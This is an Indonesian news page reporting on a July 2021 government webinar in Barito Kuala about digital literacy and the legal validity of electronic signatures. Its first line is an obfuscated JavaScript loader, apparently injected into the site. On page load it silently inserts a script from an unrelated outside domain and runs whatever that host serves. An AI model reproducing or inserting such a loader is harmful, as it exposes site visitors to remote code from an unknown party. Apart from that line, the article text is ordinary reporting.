(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

Webinar Literasi Digital Batola: Kenali Dunia Digital dengan Literasi Semasa Pandemi


KANALKALIMANTAN.COM, MARABAHAN– Pandemi Covid-19 telah memaksa Indonesia mempercepat adopsi teknologi digital, pandemi Covid-19 telah mendorong terjadinya peningkatan kegiatan masyarakat di ruang digital.

Bagi sebagian besar orang, literasi digital kerap dianggap sebagai kemampuan untuk mengoperasikan suatu teknologi pada kehidupan sehari-hari.

Namun, pemahaman tersebut kurang tepat. Sebab, selain kemahiran dalam menjelajahi internet, para pengguna teknologi juga dituntut untuk bisa bertanggung jawab ketika menggunakannya.

Guna mendukung terwujudnya literasi digital, Kementerian Komunikasi dan Informasi (Kominfo) meluncurkan program Literasi Digital Nasional. Adapun program ini merupakan hasil kerja sama antara Kemenkominfo dengan Jaringan Pegiat Literasi Digital (Japelidi) dan Siberkreasi Gerakan Nasional Literasi Digital.

 

 

Baca juga: Viagra, Obat Ilegal, Sabu hingga Miras Dimusnahkan Kejari Banjarbaru

Melalui program tersebut, Kominfo meluncurkan Seri Modul Literasi Digital yang berfokus pada empat tema besar, yakni Cakap Bermedia Digital, Budaya Bermedia Digital, Etis Bermedia Digital, dan Aman Bermedia Digital.

Dengan seri modul tersebut, diharapkan masyarakat Indonesia dapat mengikuti perkembangan dunia digital secara baik, produktif, dan sesuai nilai-nilai yang dijunjung tinggi dalam kehidupan berbudaya, berbangsa, serta bernegara.

Dalam rangka memberikan sosialisasi dan pendalaman secara menyeluruh, Kominfo membagi modul tersebut menjadi rangkaian seri webinar bertajuk “Indonesia #MakinCakapDigital”. Webinar ini menjangkau sebanyak 514 kabupaten/kota di seluruh Indonesia.

Khusus 14 kabupaten/kota di wilayah Kalimantan Selatan, Kominfo menggelar webinar di Kabupaten Barito Kuala (Batola) yang bertajuk “Kenali Dunia Digital Dengan Literasi Semasa Pandemi”, Jumat (23/7/2021).

Kegiatan yang berlangsung selama tiga setengah jam tersebut dan menghadirkan beberapa narasumber dengan membahas tema meliputi digital skills, digital ethics, digital culture, dan digital safety.

Pada sesi pertama narasumber pertama yaitu M. Erwin Rosadi, S.Ak yang merupakan sorang Badan Pengurus Cabang Hipmi Barito Kuala ini membahas tentang “Masyarakat Digital, (Membangun Hubungan Interpersonal Secara Digital)”.

Erwin mengatakan, pentingnya kemampuan literasi digital masyarakat saat ini dan ini merupakan literasi digital yang menunjang terwujudnya agenda transformasi digital masyarakat Indonesia kedepannya, sebagai tingkat paling dasar.

Baca juga: BREAKING NEWS. Banjarbaru dan Banjarmasin Masuk ‘Daftar Hitam’ Penerapan PPKM Level 4! 

Kemampuan literasi digital adalah paling krusial dalam menghadapi perkembangan teknologi saat ini, untuk mewujudkan masyarakat Indonesia yang tidak hanya mengenal teknologi tapi juga cermat menggunakannya.

“Menurut survey Kemkominfo dan Kata Data 2020 lalu terhadap status literasi digital nasfinal yang mengacu kerangka literasi digital milik UNESCO, menunjukkan indeks literasi digital Indonesia ada pada angka 3,4 dari skala 1-4. Hal itu menunjukkan indeks literasi digital kita hanya ada pada sedikit di atas sedang, namun belum mencapai tingkat baik,” ucap Erwin.

Karena itu, pemerintah dalam hal ini Kemkominfo dan Siber Kreasi terus mendorong peningkatan literasi digital masyarakat. Ia juga berharap peran stakeholder lainya dan kesadaran masyarakat untuk mendukung program literasi digital nasional tersebut.

Pada sesi kedua, narasumber yang merupakan seorang dokter bernama Dr. Dewa Nyoman Sutanaya, SH, MH, MARS ini membahasa tentang “Perjanjian Elektronik Di Indonesia, (Bagaimana Keabsahan Tanda Tangan Elektronik)”.

Menurut Dr Dewa teknologi yang meningkat memiliki pengaruh terhadap segala aspek dalam kehidupan manusia. Internet adalah salah satu media informasi dan komunikasi elektronik terbesar yang sangat dimanfaatkan oleh manusia untuk berbagai kegiatan, seperti browsing, mencari informasi data atau berita, berkomunikasi, hingga melakukan kegiatan ekonomi.

Ia juga mengatakan apakah sah menurut hukum perjanjian yang dibuat berdasarkan elektronik digital/rekaman digital? Apakah dapat dipersamakan dengan perjanjian selayaknya yang secara langsung ditanda tangan oleh kedua belah pihak?

Ia menjelaskan bahwa prinsipnya keabsahan suatu perjanjian tidak ditentukan oleh bentuk fisik dari perjanjian tersebut. Baik cetak maupun digital/elektronik, baik lisan maupun tulisan, akan dianggap sah menurut hukum jika memenuhi kriteria Pasal 1320 Kitab Undang-Undang Hukum Perdata (“KUH Perdata”) yakni memenuhi syarat kesepakatan, kecakapan, objek yang spesifik, dan sebab yang halal sebagaimana diuraikan dalam pasal tersebut.

“Mengacu pada Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik sebagaimana yang telah diubah oleh Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan Atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik, pada Pasal 5 sampai dengan Pasal 12 dijelaskan bahwa Informasi Elektronik dan/atau Dokumen Elektronik dan/atau hasil cetaknya merupakan alat bukti hukum yang sah,” ucap Dr Dewa Nyoman.

Ia juga mengatakan bahwa ini juga merupakan perluasan dari alat bukti yang sah sesuai dengan Hukum Acara yang berlaku di Indonesia. Demikian halnya dengan Tanda Tangan Elektronik, memiliki kekuatan hukum dan akibat hukum yang sah selama memenuhi persyaratan sebagai berikut:

Baca juga: Ragukan Pancasila, Mahasiswi ULM Diperiksa Unit Ciber Polda Kalsel

1. Data pembuatan Tanda Tangan Elektronik terkait hanya kepada Penanda Tangan

2. Data pembuatan Tanda Tangan Elektronik pada saat proses penandatanganan elektronik hanya berada dalam kuasa Penanda Tangan

3. Segala perubahan terhadap Tanda Tangan Elektronik yang terjadi setelah waktu penandatanganan dapat diketahui

4. Segala perubahan terhadap Informasi Elektronik yang terkait dengan Tanda Tangan Elektronik tersebut setelah waktu penandatanganan dapat diketahui

5. Terdapat cara tertentu yang dipakai untuk mengidentifikasi

6. Siapa penandatangannya dan terdapat cara tertentu untuk menunjukkan bahwa Penanda Tangan telah memberikan persetujuan terhadap Informasi Elektronik yang terkait.

(Kanalkalimantan.com/shintia)

Editor: cell


Risa

Recent Posts

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

4 menit ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

14 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

16 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

19 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

19 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

21 jam ago

This website uses cookies.